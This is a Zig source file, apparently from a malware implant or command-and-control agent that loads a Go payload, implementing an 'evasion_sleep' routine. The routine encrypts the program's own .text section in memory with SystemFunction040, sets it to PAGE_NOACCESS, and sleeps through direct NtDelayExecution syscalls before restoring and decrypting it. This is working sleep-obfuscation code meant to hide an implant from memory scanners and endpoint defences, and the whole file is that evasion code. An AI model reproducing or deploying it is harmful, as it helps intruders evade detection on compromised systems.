const api = @import("api.zig");
const syscall = @import("syscall.zig");
const win = @import("win32.zig");

var g_go_text_base: ?[*]u8 = null;
var g_go_text_size: usize = 0;

const RTL_ENCRYPT_MEMORY_SIZE: win.ULONG = 8;

// Pad size to multiple of RTL_ENCRYPT_MEMORY_SIZE.
fn padded_size(size: usize) win.ULONG {
    const s: win.ULONG = @intCast(size);
    return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(win.ULONG, RTL_ENCRYPT_MEMORY_SIZE - 1);
}

pub fn init_text_region(base: [*]u8, size: usize) void {
    g_go_text_base = base;
    g_go_text_size = size;
}

// ChaCha20-encrypts .text via SystemFunction040, sleeps via NtDelayExecution,
// decrypts on wake. During sleep .text is PAGE_NOACCESS.
pub fn evasion_sleep(ms: u32) void {
    if (g_go_text_base == null or g_go_text_size == 0) {
        var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
        _ = syscall.nt_delay_execution(0, &interval);
        return;
    }

    const base = g_go_text_base.?;
    const size = g_go_text_size;
    const padded = padded_size(size);

    // Encrypt .text with ChaCha20
    if (api.sleep_SystemFunction040) |enc| {
        _ = enc(base, padded, 0);
    }
    var ptr: ?*anyopaque = base;
    var sz: win.SIZE_T = size;
    var old: win.ULONG = 0;
    _ = syscall.nt_protect_virtual_memory(
        syscall.nt_current_process(),
        &ptr,
        &sz,
        win.PAGE_NOACCESS,
        &old,
    );

    var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
    _ = syscall.nt_delay_execution(0, &interval);

    ptr = base;
    sz = size;
    _ = syscall.nt_protect_virtual_memory(
        syscall.nt_current_process(),
        &ptr,
        &sz,
        win.PAGE_EXECUTE_READ,
        &old,
    );

    // Decrypt .text with ChaCha20
    if (api.sleep_SystemFunction041) |dec| {
        _ = dec(base, padded, 0);
    }
}
